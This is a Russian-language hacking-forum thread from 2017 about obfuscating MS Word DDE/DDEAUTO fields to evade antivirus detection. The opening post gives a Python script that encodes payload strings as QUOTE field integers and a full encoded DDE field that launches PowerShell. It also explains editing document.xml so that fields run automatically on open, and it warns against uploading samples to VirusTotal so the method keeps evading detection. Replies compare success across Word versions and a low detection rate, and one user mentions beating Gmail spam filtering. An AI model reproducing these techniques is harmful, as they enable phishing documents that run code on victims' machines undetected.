1. Наш канал codeby в telegram. Пишем об информационной безопасности, методах защиты информации, о программировании. Не пропускай новости с кодебай, будь в тренде ! Подробнее ...

    Скрыть объявление

MS Word DDE vs AV методы обфускации

Тема в разделе "Этичный хакинг и тестирование на проникновение", создана пользователем Underwood, 25 окт 2017.

  1. Underwood

    Underwood Well-Known Member
    Grey Team

    Репутация:
    5
    Регистрация:
    10 ноя 2016
    Сообщения:
    77
    Симпатии:
    247
    Приветствую уважаемых участников и гостей форума!
    Многим известно о том что, буквально 2 недели назад эксперты из Sensepost опубликовали исследование, в котором подробно описали методику использования DDE (Dynamic Data Exchange) в MS Office для доставки полезной нагрузки.
    С подробным анализом можно ознакомиться в статье "DDE на замену макросам" моей коллеги @IioS на нашем форуме.
    Благодаря простоте использования и эффективности эта методика была быстро взята на вооружение и стала широко применяться в фишинговых компаниях по всему миру, поэтому большинство AV-вендоров довольно оперативно отреагировали и обновили свои антивирусные базы, добавив YARA-правила срабатывающие на поиск строк содержащих DDE или DDEAUTO в .docx/.doc документах, с последующим пристальным анализом содержания этих полей.

    Примечание: Мы все прекрасно осведомлены, как такое обычно происходит, но все же считаю необходимым лишний раз упомянуть, категорически рекомендую воздержаться от проверки "своих документов" на Virustotal и аналогичных сервисах для сохранения эффективности работы описанных далее методов.

    MS Word DDE vs AV методы обфускации

    Информация предназначена исключительно в образовательных целях.

    Автор статьи и администрация ресурса не несут ответственности за использование перечисленных методик и инструментов в незаконных целях.

    1. Micro$oft QUOTE
    В первую очередь стоит обратить внимание на необходимость обфускации строки полезной нагрузки, как основного элемента полей DDE или DDEAUTO, так как сама по себе технология Dynamic Data Exchange легитимна и у AV вопросов не вызывает.
    Можно вставить строку с полезной нагрузкой в поле QUOTE, к тому же согласно документации MS коды полей могут быть вложены в любое отдельное слово
    Например:
    Поле QUOTE содержит результат поля IF, в котором переменная содержит дату:
    Код:
    QUOTE {IF {DATE \ @ "M"} = 1 "12" 
    Поле QUOTE содержит результат поля IF, в котором переменная содержит дату форматирования:
    Код:
    QUOTE {IF {DATE \ @" M "} -1} / 1/10" \ @ "MMMM"}}
    Содержание поля QUOTE может быть числом, равным порядковому значением символа, и оно автоматически преобразует его в соответствующий символ.
    Например:
    Необходимо найти символ, представленный значением 65, который будет отображаться как A, а не 65, и символ со значением 71, который будет отображаться как G
    Код:
    {QUOTE 65}
    {SET c "{QUOTE 65 65 65 65}"}
    {SET d "{QUOTE 71 71 71 71}"}
    {DDE {REF c} {REF d}}
    Это фактически становится:
    Код:
    {DDE "AAAA" "GGGG"}
    Таким образом, можно представлять полезную нагрузку в виде целых чисел и слово автоматически преобразует ее в строку перед выполнением DDE
    Автоматизировать это можно с помощью скрипта на python, который просто преобразует заданную строку в эквивалентное поле QUOTE
    Код:
    #!/usr/env/python
    print("Converts a string to the {QUOTE} Field code")
    st = raw_input("String to convert: ")
    v = map(lambda y: "%s"%ord(y),st)
    print("{ QUOTE %s }"%' '.join(v))
    Теперь открыть Powershell можно так:
    Код:
    {SET C "{QUOTE 67 58 92 92 80 114 111 103 114 97 109 115 92 92 77 105 99 114 111 115 111 102 116 92 92 79 102 102 105 99 101 92 92 77 83 87 111 114 100 46 101 120 101 92 92 46 46 92 92 46 46 92 92 46 46 92 92 46 46 92 92 119 105 110 100 111 119 115 92 92 115 121 115 116 101 109 51 50 92 92 119 105 110 100 111 119 115 112 111 119 101 114 115 104 101 108 108 92 92 118 49 46 48 92 92 112 111 119 101 114 115 104 101 108 108 46 101 120 101} "}
    {DDE {REF C}  "a"}
    2. Dirty-ссылки в DDEAUTO
    Kак можно догадаться из названия, cодержание поля DDEAUTO должно автоматически обновляется при открытии документа, этот функционал необходимо просто включить.
    Для этого необходимо создать документ с расширением .docx, затем отредактировать document.xml в архиве, изменив значение w:dirty="false" на w:dirty="true" в каждой строке начинающейся с w:fldChar, сохранить и обновить содержимое архива.
    Код:
    <w:fldChar w:fldCharType="begin" w:dirty="true"/>
    Таким образом при открытии документа ссылки будут автоматически обновляться, а диалоговое окно с предупреждением выглядит вполне безобидно.
    Благодарю за внимание!
    MS Word DDE vs AV методы обфускации
     
    #1 Underwood, 25 окт 2017
    Последнее редактирование: 25 окт 2017
    ghostphisher, Dmitry88, _Eliot_ и 7 другим нравится это.
  2. Hackaton192

    Hackaton192 Active Member

    Репутация:
    0
    Регистрация:
    30 янв 2017
    Сообщения:
    29
    Симпатии:
    28
    Классная инфа!Только задумался о том как обходить спам gmail(палит скотина)))
     
    Underwood нравится это.
  3. tumm

    tumm Member

    Репутация:
    0
    Регистрация:
    10 окт 2017
    Сообщения:
    20
    Симпатии:
    7
    В 2007 отрабатывает,в 2016 нет.Наверно это в целом ДДЕ не работают в 2016 офисе,точней не так как в 2007
     
    Underwood нравится это.
  4. OneDollar

    OneDollar Well-Known Member
    Red Team

    Репутация:
    21
    Регистрация:
    7 сен 2017
    Сообщения:
    191
    Симпатии:
    205
    И как антивирусы с таким файлом ? На Вы или на ты ?
     
    Underwood нравится это.
  5. Hackaton192

    Hackaton192 Active Member

    Репутация:
    0
    Регистрация:
    30 янв 2017
    Сообщения:
    29
    Симпатии:
    28
    Свой локальный антивирусный стенд вам в помощь!
    --- Добавлено 31 окт 2017. Первое сообщение размещено 31 окт 2017 ---

    Не получается выполнить данный вариант обфускации!!
    А именно судя по работе функции QUOTE, она разом не берет много значений! Underwood У Вас у самого получалось это сделать?
     
  6. Underwood

    Underwood Well-Known Member
    Grey Team

    Репутация:
    5
    Регистрация:
    10 ноя 2016
    Сообщения:
    77
    Симпатии:
    247
    Успешно тестировал на Word 2007, на 2010 и 2013 тоже должно работать, на 2016 как выше писали не удалось.
    Неделю назад 1/59 определялся только 360 Total Security
     
  7. Hackaton192

    Hackaton192 Active Member

    Репутация:
    0
    Регистрация:
    30 янв 2017
    Сообщения:
    29
    Симпатии:
    28
    На 2010, к сожалению, не получается сделать таким образом((
     
    Underwood нравится это.
  8. Underwood

    Underwood Well-Known Member
    Grey Team

    Репутация:
    5
    Регистрация:
    10 ноя 2016
    Сообщения:
    77
    Симпатии:
    247
    Данную методику обфускации DDE добавили в новый релиз Unicorn 2.10
     
    valerian38, OneDollar и adm2 нравится это.
  9. OneDollar

    OneDollar Well-Known Member
    Red Team

    Репутация:
    21
    Регистрация:
    7 сен 2017
    Сообщения:
    191
    Симпатии:
    205
    17 часов назад, благодарю) как раз ждал когда они выпустят новую версию и подзабыл)
     
    Underwood нравится это.
Загрузка...

Поделиться этой страницей